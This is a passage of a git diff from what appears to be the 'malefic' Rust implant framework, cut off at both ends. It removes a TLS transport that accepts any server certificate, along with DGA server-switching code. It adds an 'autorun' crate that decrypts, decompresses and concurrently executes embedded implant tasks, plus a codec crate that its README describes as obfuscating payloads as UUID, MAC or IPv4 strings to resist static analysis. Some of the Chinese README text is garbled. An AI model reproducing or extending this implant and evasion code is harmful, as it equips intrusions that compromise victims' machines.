dga_generator.generate_new_server() - } else { - vec![] - }; - for server_config in new_servers { - let address = server_config.address.clone(); - if self.servers.iter().any(|s| s.address.as_str() == address.as_str()) { - continue; - } - self.servers.push(ServerInfo { - address, - server_config, - status: ServerStatus::NotRegistered, - last_success: None, - last_failure: None, - consecutive_failures: 0, - can_retry: true, - }); - } - - if self.current_index + 1 < self.servers.len() { - self.current_index += 1; - } else if !self.servers.is_empty() { - self.current_index = self.servers.len().saturating_sub(1); - } - debug!("[server_manager] Switched to next DGA server (index: {})", self.current_index); - return true; - } - } - - self.current_index = 0; - true - } - -} - -#[cfg_attr(debug_assertions, derive(Debug))] -pub struct ServerStats { - pub total: usize, - pub registered: usize, - pub not_registered: usize, - pub unavailable: usize, - pub current_index: usize, - pub has_registered: bool, -} diff --git a/malefic-core/src/transport/tcp/tls.rs b/malefic-core/src/transport/tcp/tls.rs deleted file mode 100644 index 6befc78..0000000 --- a/malefic-core/src/transport/tcp/tls.rs +++ /dev/null @@ -1,297 +0,0 @@ -use std::sync::Arc; -use anyhow::Result; -use async_tls::TlsConnector; -use rustls::{ - client::{ServerCertVerified, ServerCertVerifier, ServerName}, - version::{TLS12, TLS13}, - Certificate, ClientConfig, RootCertStore, PrivateKey, - cipher_suite, -}; -use malefic_helper::debug; -use crate::config::ServerConfig; - -#[derive(Debug, Clone)] -pub struct TlsConfig { - /// TLS protocol versions - pub versions: Vec<&'static rustls::SupportedProtocolVersion>, - /// Server domain name - pub server_name: String, - /// Custom cipher suites - pub cipher_suites: Option>, - /// Skip certificate verification (for self-signed certificates) - pub skip_verification: bool, - - /// mtls Optional - /// Client certificate data (mTLS) - pub client_cert_data: Option<(Vec, Vec)>, // (cert_chain, private_key) - /// Custom CA certificate for server verification (optional) - pub custom_ca: Option>, -} - -impl Default for TlsConfig { - fn default() -> Self { - Self { - versions: vec![&TLS13, &TLS12], // Default supports both versions, prefer 1.3 - client_cert_data: None, - server_name: String::new(), - cipher_suites: None, - custom_ca: None, - skip_verification: true, // Default skip certificate verification to avoid various certificate format issues - } - } -} - -impl TlsConfig { - /// Create new TLS configuration - pub fn new() -> Self { - Self::default() - } - - /// Set TLS protocol versions - pub fn with_versions(mut self, versions: Vec<&'static rustls::SupportedProtocolVersion>) -> Self { - self.versions = versions; - self - } - - /// Set to TLS 1.2 only - pub fn tls12_only(mut self) -> Self { - self.versions = vec![&TLS12]; - self - } - - /// Set to TLS 1.3 only - pub fn tls13_only(mut self) -> Self { - self.versions = vec![&TLS13]; - self - } - - /// Set custom CA certificate for server verification - pub fn with_custom_ca(mut self, ca_cert: Vec) -> Self { - self.custom_ca = Some(ca_cert); - self - } - - /// Set client certificate data (enable mTLS) - pub fn with_client_cert_data(mut self, cert_chain: Vec, private_key: Vec) -> Self { - self.client_cert_data = Some((cert_chain, private_key)); - self - } - - /// Set server domain name - pub fn with_server_name>(mut self, name: S) -> Self { - self.server_name = name.into(); - self - } - - /// Set custom cipher suites - pub fn with_cipher_suites(mut self, suites: Vec) -> Self { - self.cipher_suites = Some(suites); - self - } - - - - /// Create configuration for self-signed certificates (skips verification) - pub fn self_signed(self) -> Self { - Self { - versions: vec![&TLS12, &TLS13], // Self-signed supports both versions - client_cert_data: None, - server_name: String::new(), - cipher_suites: Some(vec![ - cipher_suite::TLS13_AES_128_GCM_SHA256, - cipher_suite::TLS13_AES_256_GCM_SHA384, - cipher_suite::TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, - cipher_suite::TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, - ]), - custom_ca: None, - skip_verification: true, // Skip verification for self-signed certificates - } - } - - /// Create standard TLS configuration - pub fn standard() -> Self { - Self::default() - } - - -} - -/// TLS connector builder -pub struct TlsConnectorBuilder { - config: TlsConfig, -} - -impl TlsConnectorBuilder { - pub fn new(config: TlsConfig) -> Self { - Self { config } - } - - /// Build TLS connector - pub fn build(self) -> Result { - debug!("[tls] Building TLS connector with config: {:#?}", self.config); - - // Create root certificate store - always use system CA, optionally add custom CA - let mut root_store = RootCertStore::empty(); - root_store.add_server_trust_anchors( - webpki_roots::TLS_SERVER_ROOTS.0.iter().map(|ta| { - rustls::OwnedTrustAnchor::from_subject_spki_name_constraints( - ta.subject, - ta.spki, - ta.name_constraints, - ) - }) - ); - - // Add custom CA if provided - if let Some(ca_cert_data) = &self.config.custom_ca { - let ca_cert = Certificate(ca_cert_data.clone()); - - if let Err(_e) = root_store.add(&ca_cert) { - debug!("[tls] Failed to add custom CA: {:?}, but continuing", _e); - // Continue even if adding CA fails, since we will skip verification - } else { - debug!("[tls] Custom CA added successfully"); - } - } - - // Use TLS versions from configuration - let versions = self.config.versions.clone(); - - // Select cipher suites - let cipher_suites = match &self.config.cipher_suites { - Some(suites) => suites.clone(), - None => { - // Intelligently select cipher suites based on supported versions - let mut suites = Vec::new(); - if versions.contains(&&TLS13) { - suites.extend(vec![ - cipher_suite::TLS13_AES_128_GCM_SHA256, - cipher_suite::TLS13_AES_256_GCM_SHA384, - cipher_suite::TLS13_CHACHA20_POLY1305_SHA256, - ]); - } - if versions.contains(&&TLS12) { - suites.extend(vec![ - cipher_suite::TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, - cipher_suite::TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, - cipher_suite::TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, - cipher_suite::TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, - ]); - } - suites - }, - }; - - // Build configuration - let client_build = ClientConfig::builder() - .with_cipher_suites(&cipher_suites) - .with_safe_default_kx_groups() - .with_protocol_versions(&versions)? - .with_root_certificates(root_store); - - // Handle client certificate authentication - let client_config = match &self.config.client_cert_data { - Some((cert_chain_data, private_key_data)) => { - debug!("[tls] Setting up client certificate for mTLS"); - - // Parse client certificate chain - let cert_chain = rustls_pemfile::certs(&mut cert_chain_data.as_slice())? - .into_iter() - .map(Certificate) - .collect(); - - // Parse private key - let mut key_reader = private_key_data.as_slice(); - let private_key = if let Some(key) = rustls_pemfile::rsa_private_keys(&mut key_reader)?.into_iter().next() { - PrivateKey(key) - } else if let Some(key) = rustls_pemfile::pkcs8_private_keys(&mut key_reader)?.into_iter().next() { - PrivateKey(key) - } else { - return Err(anyhow::anyhow!("No valid private key found")); - }; - - client_build.with_single_cert(cert_chain, private_key)? - } - None => { - client_build.with_no_client_auth() - } - }; - - // Simplified: directly skip all certificate verification to avoid various certificate format issues - let mut final_config = client_config; - final_config - .dangerous() - .set_certificate_verifier(Arc::new(NoCertificateVerification)); - - Ok(TlsConnector::from(Arc::new(final_config))) - } -} - -/// Certificate verifier that skips all verification - accepts any certificate -struct NoCertificateVerification; - -impl ServerCertVerifier for NoCertificateVerification { - fn verify_server_cert( - &self, - _end_entity: &Certificate, - _intermediates: &[Certificate], - _server_name: &ServerName, - _scts: &mut dyn Iterator, - _ocsp_response: &[u8], - _now: std::time::SystemTime, - ) -> Result { - Ok(ServerCertVerified::assertion()) - } -} - -/// Build TLS configuration from compile-time constants -/// -/// This function reads TLS configuration from the config module and creates -/// a properly configured TlsConfig instance. -pub fn build_tls_config(config: ServerConfig) -> TlsConfig { - - // #[cfg(feature = "mtls")] - // use crate::config::{TLS_MTLS_CLIENT_CERT, TLS_MTLS_CLIENT_KEY, TLS_MTLS_SERVER_CA}; - debug!("address: {}",config.address); - let tls_config = config.tls_config.as_ref().unwrap(); - - // Parse TLS version from configuration - let mut config = match tls_config.version.as_str() { - "1.2" => TlsConfig::new().tls12_only(), - "1.3" => TlsConfig::new().tls13_only(), - "auto" => TlsConfig::new(), // Default supports Auto (TLS 1.3 + 1.2) - _ => TlsConfig::new(), // Default to auto - }; - - // Set server name and skip verification - // config = config.with_server_name(TLS_SNI.clone()); - config = config.with_server_name(tls_config.sni.clone()); - - // 默认跳过è¯ä¹¦éªŒè¯ä»¥é¿å…å„ç§è¯ä¹¦æ ¼å¼é—®é¢˜ - config.skip_verification = true; - - // 处ç†mTLSé…置(如果存在) - if let Some(mtls_config) = &tls_config.mtls_config { - if mtls_config.enable { - debug!("[tls] Setting up mTLS configuration"); - // 添加客户端è¯ä¹¦å’Œå¯†é’¥ - if !mtls_config.client_cert.is_empty() && !mtls_config.client_key.is_empty() { - debug!("[tls] Loading client certificate and key"); - config = config.with_client_cert_data( - mtls_config.client_cert.clone(), - mtls_config.client_key.clone() - ); - } - - // 添加æœåС噍CAè¯ä¹¦ï¼ˆå¦‚æžœæä¾›ï¼‰ - if !mtls_config.server_ca.is_empty() { - debug!("[tls] Loading custom server CA"); - config = config.with_custom_ca(mtls_config.server_ca.clone()); - } - } - } - - config -} - - diff --git a/malefic-crates/autorun/Cargo.toml b/malefic-crates/autorun/Cargo.toml new file mode 100644 index 0000000..dc6ea3a --- /dev/null +++ b/malefic-crates/autorun/Cargo.toml @@ -0,0 +1,21 @@ +[package] +name = "malefic-autorun" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +external_spite = [] +embed = [] + +[dependencies] +anyhow = { workspace = true } +futures = { workspace = true } +malefic-gateway = { workspace = true } + +malefic-config = { workspace = true } +malefic-common = { workspace = true } +malefic-manager = { workspace = true, default-features = true } +malefic-modules = { workspace = true } +malefic-proto = { workspace = true, features = ["crypto_aes"] } +malefic-crypto = { workspace = true, default-features = true } diff --git a/malefic-crates/autorun/README.md b/malefic-crates/autorun/README.md new file mode 100644 index 0000000..c94a930 --- /dev/null +++ b/malefic-crates/autorun/README.md @@ -0,0 +1,76 @@ +# malefic-autorun + +åŠ å¯†ä»»åŠ¡åŠ è½½ä¸Žå¹¶å‘æ‰§è¡Œå¼•擎,从预置或外部的二进制数æ®ä¸­è§£å¯†ã€è§£åދ并ååºåˆ—化任务列表,通过信å·é‡æŽ§åˆ¶å¹¶å‘度并行执行所有任务。 + +## 功能简介 + +- **加密任务加载**:使用 AES å¯¹ç§°åŠ å¯†ä¿æŠ¤ä»»åŠ¡æ•°æ®ï¼ˆ`spite.bin`),è¿è¡Œæ—¶è‡ªåŠ¨è§£å¯†å¹¶è§£åŽ‹ +- **å¤šç§æ•°æ®æ¥æº**:支æŒç¼–è¯‘æ—¶åµŒå…¥ï¼ˆå«æ··æ·†åŠ å¯†ï¼‰ã€ç¼–译时嵌入(明文)ã€è¿è¡Œæ—¶ä»Žå¤–部文件读å–ä¸‰ç§æ¨¡å¼ +- **并呿‰§è¡Œå¼•擎**:基于 Tokio 多线程è¿è¡Œæ—¶ï¼Œé€šè¿‡ `Semaphore` æŽ§åˆ¶æœ€å¤§å¹¶å‘æ•°ï¼ˆé»˜è®¤ 6) +- **模å—化任务分å‘**:自动根æ®ä»»åŠ¡å称查找对应模å—,创建独立实例执行,互ä¸å¹²æ‰° +- **错误隔离**:æ¯ä¸ªä»»åŠ¡åœ¨ç‹¬ç«‹çš„ `tokio::spawn` 中è¿è¡Œï¼Œå•个任务失败ä¸å½±å“其他任务 + +## Features + +| Feature | 说明 | +|---------|------| +| `embed` | 使用混淆加密方å¼åœ¨ç¼–译时嵌入 `spite.bin`ï¼Œå¢žå¼ºé™æ€åˆ†æžå¯¹æŠ—能力 | +| `external_spite` | è¿è¡Œæ—¶ä»Žå¯æ‰§è¡Œæ–‡ä»¶åŒçº§ç›®å½•或当å‰ç›®å½•è¯»å– `spite.bin` 文件 | +| _(default)_ | 使用 `include_bytes!` 在编译时直接嵌入 `spite.bin` | + +**优先级**:`external_spite` > `embed` > 默认嵌入。当 `external_spite` å¯ç”¨æ—¶ï¼Œå¿½ç•¥åµŒå…¥æ–¹å¼ã€‚ + +## 基本用法 + +```rust +use malefic_autorun; + +// 使用默认并å‘度(6)执行所有预置任务 +malefic_autorun::run().unwrap(); + +// 自定义并å‘度 +malefic_autorun::run_with_concurrency(10).unwrap(); +``` + +### 执行æµç¨‹ + +```text +spite.bin (加密数æ®) + | + v +AES 解密 (key ç”± malefic-config æä¾›, iv = key 的逆åº) + | + v +解压缩 (decompress) + | + v +Protobuf ååºåˆ—化 -> Vec + | + v +Autorun::execute() -> 并呿‰§è¡Œæ‰€æœ‰ä»»åŠ¡ + | + v +Vec (执行结果) +``` + +### Autorun 结构体 + +```rust +use malefic_autorun::Autorun; + +// åˆ›å»ºæ‰§è¡Œå¼•æ“Žï¼ŒæŒ‡å®šæœ€å¤§å¹¶å‘æ•° +let autorun = Autorun::new(4)?; + +// 执行任务列表,返回所有任务的执行结果 +let results = autorun.execute(tasks).await?; +``` + +## é…置说明 + +- **spite.bin**ï¼šä»»åŠ¡æ•°æ®æ–‡ä»¶ï¼Œéœ€æ”¾ç½®åœ¨ `resources/spite.bin`ï¼ˆç¼–è¯‘æ—¶åµŒå…¥ï¼‰æˆ–å¯æ‰§è¡Œæ–‡ä»¶åŒçº§ç›®å½•(外部加载) +- **加密密钥**:由 `malefic-config::KEY` æä¾›ï¼ŒIV ä¸ºå¯†é’¥çš„é€†åºæŽ’åˆ— + +## å‚考链接 + +- [Tokio - 异步è¿è¡Œæ—¶](https://tokio.rs/) +- [Protocol Buffers](https://protobuf.dev/) diff --git a/malefic-crates/autorun/src/autorun.rs b/malefic-crates/autorun/src/autorun.rs new file mode 100644 index 0000000..318174b --- /dev/null +++ b/malefic-crates/autorun/src/autorun.rs @@ -0,0 +1,210 @@ +use anyhow::Result; +use futures::channel::mpsc::unbounded; +use futures::stream::{self, StreamExt}; +use futures::SinkExt; +use malefic_common::errors::MaleficError; +use malefic_manager::manager::{MaleficManager, ModuleRegister}; +use malefic_proto::proto::implantpb::Spite; +use std::sync::{Arc, RwLock}; + +fn default_manager() -> Result { + let mut manager = MaleficManager::new(); + manager.register_bundle( + "origin", + malefic_modules::register_modules as ModuleRegister, + ); + manager.refresh_module()?; + Ok(manager) +} + +pub struct Autorun { + module_manager: Arc>, + concurrency: usize, +} + +impl Autorun { + pub fn new(concurrency: usize) -> Result { + Ok(Autorun { + module_manager: Arc::new(RwLock::new(default_manager()?)), + concurrency, + }) + } + + pub async fn execute(&self, tasks: Vec) -> Result, MaleficError> { + let manager = Arc::clone(&self.module_manager); + let concurrency = self.concurrency.max(1); + let results: Vec = stream::iter(tasks) + .map(|spite| { + let mgr = Arc::clone(&manager); + async move { Self::run_task(mgr, spite).await } + }) + .buffer_unordered(concurrency) + .collect() + .await; + Ok(results) + } + + async fn run_task(manager: Arc>, spite: Spite) -> Spite { + let body = match spite.body.clone() { + Some(b) => b, + None => { + return Spite { + task_id: spite.task_id, + error: MaleficError::MissBody.id(), + ..Default::default() + }; + } + }; + + // Acquire the std::sync::RwLock, get an owned instance, then release the lock. + // new_instance() returns an owned Box, so no borrow lives past the guard. + let mut instance = { + let manager_guard = match manager.read() { + Ok(guard) => guard, + Err(_) => { + return Spite { + task_id: spite.task_id, + error: MaleficError::ModuleError.id(), + ..Default::default() + }; + } + }; + match manager_guard.get_module(&spite.name) { + Some(m) => m.new_instance(), + None => { + return Spite { + task_id: spite.task_id, + error: MaleficError::ModuleNotFound.id(), + ..Default::default() + }; + } + } + }; + // manager_guard is dropped here, lock is released + + let (mut input_sender, mut input_receiver) = unbounded(); + let (mut output_sender, _output_receiver) = unbounded(); + + if input_sender.send(body).await.is_err() { + return Spite { + task_id: spite.task_id, + error: MaleficError::ModuleError.id(), + ..Default::default() + }; + } + drop(input_sender); + + let result = instance + .run(spite.task_id, &mut input_receiver, &mut output_sender) + .await; + + match result { + Ok(result) => result.to_spite(), + Err(_) => Spite { + task_id: spite.task_id, + error: MaleficError::ModuleError.id(), + ..Default::default() + }, + } + } +} + +#[cfg(test)] +mod tests { + use std::fs; + use std::time::{SystemTime, UNIX_EPOCH}; + + use malefic_proto::proto::implantpb::spite::Body; + use malefic_proto::proto::implantpb::Spite; + use malefic_proto::proto::modulepb::{LsResponse, Request, Response}; + + use super::Autorun; + + fn unique_temp_dir(prefix: &str) -> std::path::PathBuf { + let unique = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos(); + std::env::temp_dir().join(format!("{}-{}", prefix, unique)) + } + + #[test] + fn autorun_executes_real_pwd_module() { + let autorun = Autorun::new(1).unwrap(); + let spite = Spite { + task_id: 7, + name: "pwd".to_string(), + body: Some(Body::Request(Request::default())), + ..Default::default() + }; + + let result = futures::executor::block_on(autorun.execute(vec![spite])).unwrap(); + + assert_eq!(result.len(), 1); + assert_eq!(result[0].task_id, 7); + assert_eq!(result[0].error, 0); + + let body = result[0].body.clone().expect("pwd should return a body"); + let response = match body { + Body::Response(response) => response, + other => panic!("unexpected pwd body: {:?}", other), + }; + + assert_eq!( + response.output, + std::env::current_dir() + .unwrap() + .to_string_lossy() + .to_string() + ); + } + + #[test] + fn autorun_executes_real_ls_module_with_request_input() { + let autorun = Autorun::new(1).unwrap(); + let temp_dir = unique_temp_dir("malefic-autorun-ls"); + fs::create_dir_all(&temp_dir).unwrap(); + let expected_file = "sample.txt"; + fs::write(temp_dir.join(expected_file), b"test").unwrap(); + + let spite = Spite { + task_id: 9, + name: "ls".to_string(), + body: Some(Body::Request(Request { + input: temp_dir.to_string_lossy().to_string(), + ..Default::default() + })), + ..Default::default() + }; + + let result = futures::executor::block_on(autorun.execute(vec![spite])).unwrap(); + let _ = fs::remove_dir_all(&temp_dir); + + assert_eq!(result.len(), 1); + assert_eq!(result[0].task_id, 9); + assert_eq!(result[0].error, 0); + + let body = result[0].body.clone().expect("ls should return a body"); + let response = match body { + Body::LsResponse(response) => response, + other => panic!("unexpected ls body: {:?}", other), + }; + + assert_ls_response(&response, expected_file); + } + + fn assert_ls_response(response: &LsResponse, expected_file: &str) { + assert!(response.exists); + assert!( + response.files.iter().any(|file| file.name == expected_file), + "expected '{}' in ls response: {:?}", + expected_file, + response.files + ); + } + + #[allow(dead_code)] + fn _assert_response_body(response: &Response) { + assert!(!response.output.is_empty()); + } +} diff --git a/malefic-crates/autorun/src/lib.rs b/malefic-crates/autorun/src/lib.rs new file mode 100644 index 0000000..a4eefca --- /dev/null +++ b/malefic-crates/autorun/src/lib.rs @@ -0,0 +1,62 @@ +mod autorun; +pub use autorun::Autorun; + +use malefic_config as config; +use malefic_crypto::compress::decompress; +use malefic_crypto::crypto::new_cryptor; +use malefic_proto::decode; + +const DEFAULT_CONCURRENCY: usize = 6; +const DEFAULT_WORKER_THREADS: usize = 4; + +#[cfg(all(not(feature = "external_spite"), feature = "embed"))] +malefic_gateway::lazy_static! { + pub static ref DATA: Vec = malefic_gateway::include_encrypted!("../../../resources/spite.bin"); +} + +#[cfg(all(not(feature = "external_spite"), not(feature = "embed")))] +malefic_gateway::lazy_static! { + pub static ref DATA: Vec = include_bytes!("../../../resources/spite.bin").to_vec(); +} + +#[cfg(feature = "external_spite")] +fn read_spite_bin() -> std::io::Result> { + let exe_spite_path = std::env::current_exe() + .ok() + .and_then(|p| p.parent().map(|dir| dir.join("spite.bin"))); + + if let Some(path) = exe_spite_path { + if let Ok(data) = std::fs::read(&path) { + return Ok(data); + } + } + + std::fs::read("spite.bin") +} + +pub fn run() -> anyhow::Result<()> { + run_with_concurrency(DEFAULT_CONCURRENCY) +} + +pub fn run_with_concurrency(concurrency: usize) -> anyhow::Result<()> { + #[cfg(feature = "external_spite")] + let data = read_spite_bin()?; + #[cfg(not(feature = "external_spite"))] + let data = DATA.clone(); + + malefic_common::block_on(DEFAULT_WORKER_THREADS, DEFAULT_WORKER_THREADS * 4, async { + let iv = config::KEY.clone().iter().rev().cloned().collect(); + let mut cryptor = new_cryptor(config::KEY.clone().to_vec(), iv); + let decrypted = cryptor.decrypt(data)?; + let decompressed = decompress(&*decrypted)?; + match decode(decompressed) { + Ok(spites) => { + let tasks: Vec<_> = spites.spites.into_iter().collect(); + let autorun = Autorun::new(concurrency)?; + let _results = autorun.execute(tasks).await?; + Ok(()) + } + Err(e) => Err(e.into()), + } + }) +} diff --git a/malefic-crates/codec/Cargo.toml b/malefic-crates/codec/Cargo.toml new file mode 100644 index 0000000..7cc1ad6 --- /dev/null +++ b/malefic-crates/codec/Cargo.toml @@ -0,0 +1,41 @@ +[package] +name = "malefic-codec" +version = "0.1.0" +edition = "2021" + +[features] +default = [] + +# Encode side needs random for key generation +encoder = [] + +# Individual codec features +codec_xor = [] +codec_uuid = [] +codec_mac = [] +codec_ipv4 = [] +codec_base64 = [] +codec_base45 = [] +codec_base58 = [] +codec_aes = ["dep:sha2", "dep:aes", "dep:cbc"] +codec_aes2 = ["codec_aes"] +codec_des = ["dep:des", "dep:ecb", "dep:cipher"] +codec_chacha = ["dep:chacha20"] +codec_rc4 = [] +codec_all = [ + "codec_xor", "codec_uuid", "codec_mac", "codec_ipv4", + "codec_base64", "codec_base45", "codec_base58", + "codec_aes", "codec_aes2", "codec_des", "codec_chacha", "codec_rc4", +] + +[dependencies] +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } + +sha2 = { workspace = true, optional = true } +aes = { workspace = true, optional = true } +cbc = { version = "0.1", optional = true } +des = { version = "0.8", optional = true } +ecb = { version = "0.1", optional = true } +cipher = { version = "0.4", optional = true } +chacha20 = { version = "0.9", optional = true } diff --git a/malefic-crates/codec/README.md b/malefic-crates/codec/README.md new file mode 100644 index 0000000..621ea42 --- /dev/null +++ b/malefic-crates/codec/README.md @@ -0,0 +1,92 @@ +# malefic-codec + +纯 Rust 实现的 12 ç§å¯¹ç§°ç¼–è§£ç ç®—法库,用于 payload 混淆与还原。 + +## 功能简介 + +- æä¾› 12 ç§ç¼–è§£ç ç®—法,涵盖加密ã€ç¼–ç ã€æ ¼å¼ä¼ªè£…三大类 +- 所有算法å‡ä¸ºçº¯ Rust 实现,零 C ä¾èµ– +- ç¼–ç ç«¯ï¼ˆ`encoder`)自动生æˆéšæœºå¯†é’¥ï¼›è§£ç ç«¯ä»…需 `decode(data, key, extra)` +- 通过 feature gate 按需编译,最å°åŒ–二进制体积 +- 统一的 `EncodeResult` 输出结构,包å«å¯†æ–‡ã€å¯†é’¥ã€é™„åŠ ææ–™å’Œå­—符串表示 + +## 算法分类 + +**加密类** -- 使用密钥进行对称加解密: + +| 算法 | 说明 | +|------|------| +| XOR | å•字节异或 | +| AES | AES-256-CBC,SHA256 派生密钥,零 IV | +| AES2 | 与 AES 相åŒç®—法,CLI 输出格å¼ä¸åŒ | +| DES | DES-ECB,7 字节密钥扩展为 8 字节(å«å¥‡å¶æ ¡éªŒä½ï¼‰ | +| ChaCha20 | 32 字节密钥 + 12 字节 nonce | +| RC4 | 16 字节密钥æµå¯†ç  | + +**ç¼–ç ç±»** -- 无密钥的å¯é€†ç¼–ç ï¼š + +| 算法 | 说明 | +|------|------| +| Base64 | 标准 Base64 ç¼–è§£ç  | +| Base45 | Base45 ç¼–è§£ç  | +| Base58 | Base58 ç¼–è§£ç  | + +**æ ¼å¼ä¼ªè£…ç±»** -- 将字节æµç¼–ç ä¸ºå¸¸è§ç½‘络格å¼å­—符串: + +| 算法 | 说明 | +|------|------| +| UUID | 按 RFC 4122 字节åºé‡æŽ’ï¼Œæ¯ 16 字节生æˆä¸€ä¸ª UUID 字符串 | +| MAC | æ¯ 6 字节生æˆä¸€ä¸ª MAC 地å€å­—符串 | +| IPv4 | æ¯ 4 字节生æˆä¸€ä¸ª IPv4 地å€å­—符串 | + +## Features + +| Feature | 说明 | +|---------|------| +| `encoder` | å¯ç”¨ç¼–ç ç«¯ï¼ˆ`encode` 函数),引入 `rand` ç”¨äºŽå¯†é’¥ç”Ÿæˆ | +| `codec_xor` | XOR ç¼–è§£ç  | +| `codec_aes` | AES-256-CBC ç¼–è§£ç  | +| `codec_aes2` | AES2 ç¼–è§£ç ï¼ˆä¾èµ– `codec_aes`) | +| `codec_des` | DES-ECB ç¼–è§£ç  | +| `codec_chacha` | ChaCha20 ç¼–è§£ç  | +| `codec_rc4` | RC4 ç¼–è§£ç  | +| `codec_base64` | Base64 ç¼–è§£ç  | +| `codec_base45` | Base45 ç¼–è§£ç  | +| `codec_base58` | Base58 ç¼–è§£ç  | +| `codec_uuid` | UUID æ ¼å¼ä¼ªè£… | +| `codec_mac` | MAC åœ°å€æ ¼å¼ä¼ªè£… | +| `codec_ipv4` | IPv4 åœ°å€æ ¼å¼ä¼ªè£… | +| `codec_all` | å¯ç”¨å…¨éƒ¨ 12 ç§ç®—法 | + +## 基本用法 + +```rust +// ç¼–ç ç«¯ï¼ˆéœ€å¯ç”¨ encoder + 对应算法 feature) +let result = malefic_codec::xor::encode(payload); +// result.encoded -- ç¼–ç åŽçš„字节 +// result.key -- å¯†é’¥ææ–™ +// result.extra -- é™„åŠ ææ–™ï¼ˆå¦‚ nonce) +// result.strings -- 字符串表示(UUID/MAC/IPv4/Base 系列) + +// è§£ç ç«¯ï¼ˆä»…需对应算法 feature) +let plain = malefic_codec::xor::decode(&result.encoded, &result.key, &result.extra); +assert_eq!(plain, payload); +``` + +```toml +# Cargo.toml 按需选择 +[dependencies] +malefic-codec = { path = "../codec", features = ["encoder", "codec_xor", "codec_aes"] } +``` + +## ç»Ÿä¸€æŽ¥å£ + +æ¯ä¸ªç®—法模å—å‡å¯¼å‡ºç›¸åŒç­¾å的函数: + +```rust +// ç¼–ç ï¼ˆéœ€ encoder feature) +fn encode(data: &[u8]) -> EncodeResult; + +// è§£ç ï¼ˆå§‹ç»ˆå¯ç”¨ï¼‰ +fn decode(data: &[u8], key: &[u8], extra: &[u8]) -> Vec; +``` diff --git a/malefic-crates/codec/src/aes.rs b/malefic-crates/codec/src/aes.rs new file mode 100644 index 0000000..f2c6fd0 --- /dev/null +++ b/malefic-crates/codec/src/aes.rs @@ -0,0 +1,90 @@ +//! AES-256-CBC codec +//! Key derivation: SHA256(raw_key) → 32-byte AES key +//! IV: zero (matching BOAZ convention) + +use aes::Aes256; +use sha2::{Digest, Sha256}; + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +fn pkcs7_pad(data: &[u8], block_size: usize) -> Vec { + let pad_len = block_size - (data.len() % block_size); + let mut padded = data.to_vec(); + padded.extend(std::iter::repeat(pad_len as u8).take(pad_len)); + padded +} + +fn pkcs7_unpad(data: &mut Vec, max_block: usize) { + if let Some(&pad_len) = data.last() { + let pad_len = pad_len as usize; + if pad_len > 0 && pad_len <= max_block && data.len() >= pad_len { + let valid = data[data.len() - pad_len..] + .iter() + .all(|&b| b == pad_len as u8); + if valid { + data.truncate(data.len() - pad_len); + } + } + } +} + +fn derive_key(raw_key: &[u8]) -> [u8; 32] { + let mut hasher = Sha256::new(); + hasher.update(raw_key); + hasher.finalize().into() +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + use cbc::{ + cipher::{BlockEncryptMut, KeyIvInit}, + Encryptor, + }; + + type Aes256CbcEnc = Encryptor; + + let mut raw_key = [0u8; 16]; + malefic_common::random::fill(&mut raw_key); + + let derived_key = derive_key(&raw_key); + let iv = [0u8; 16]; + + let padded = pkcs7_pad(data, 16); + let mut buf = padded.clone(); + let cipher = Aes256CbcEnc::new(&derived_key.into(), &iv.into()); + let ct = cipher + .encrypt_padded_mut::(&mut buf, padded.len()) + .expect("AES encryption failed"); + + EncodeResult { + encoded: ct.to_vec(), + key: raw_key.to_vec(), + extra: vec![], + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], _extra: &[u8]) -> Vec { + use cbc::{ + cipher::{BlockDecryptMut, KeyIvInit}, + Decryptor, + }; + + type Aes256CbcDec = Decryptor; + + let derived_key = derive_key(key); + let iv = [0u8; 16]; + + let cipher = Aes256CbcDec::new(&derived_key.into(), &iv.into()); + let mut buf = data.to_vec(); + match cipher.decrypt_padded_mut::(&mut buf) { + Ok(pt) => { + let mut result = pt.to_vec(); + pkcs7_unpad(&mut result, 16); + result + } + Err(_) => data.to_vec(), + } +} diff --git a/malefic-crates/codec/src/aes2.rs b/malefic-crates/codec/src/aes2.rs new file mode 100644 index 0000000..30cc43c --- /dev/null +++ b/malefic-crates/codec/src/aes2.rs @@ -0,0 +1,13 @@ +//! AES2 codec - same algorithm as AES, different output format in CLI + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + super::aes::encode(data) +} + +pub fn decode(data: &[u8], key: &[u8], extra: &[u8]) -> Vec { + super::aes::decode(data, key, extra) +} diff --git a/malefic-crates/codec/src/base45.rs b/malefic-crates/codec/src/base45.rs new file mode 100644 index 0000000..4fbd737 --- /dev/null +++ b/malefic-crates/codec/src/base45.rs @@ -0,0 +1,76 @@ +//! Base45 codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +const BASE45_ALPHABET: &[u8] = b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"; + +fn char_to_val(c: u8) -> Option { + BASE45_ALPHABET + .iter() + .position(|&b| b == c) + .map(|p| p as u32) +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut encoded = String::new(); + + let mut i = 0; + while i < data.len() { + if i + 1 < data.len() { + let val = (data[i] as u32) * 256 + (data[i + 1] as u32); + let c = val / (45 * 45); + let remainder = val % (45 * 45); + let b = remainder / 45; + let a = remainder % 45; + encoded.push(BASE45_ALPHABET[a as usize] as char); + encoded.push(BASE45_ALPHABET[b as usize] as char); + encoded.push(BASE45_ALPHABET[c as usize] as char); + i += 2; + } else { + let val = data[i] as u32; + let b = val / 45; + let a = val % 45; + encoded.push(BASE45_ALPHABET[a as usize] as char); + encoded.push(BASE45_ALPHABET[b as usize] as char); + i += 1; + } + } + + EncodeResult { + encoded: encoded.as_bytes().to_vec(), + key: vec![], + extra: vec![], + strings: vec![encoded], + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = 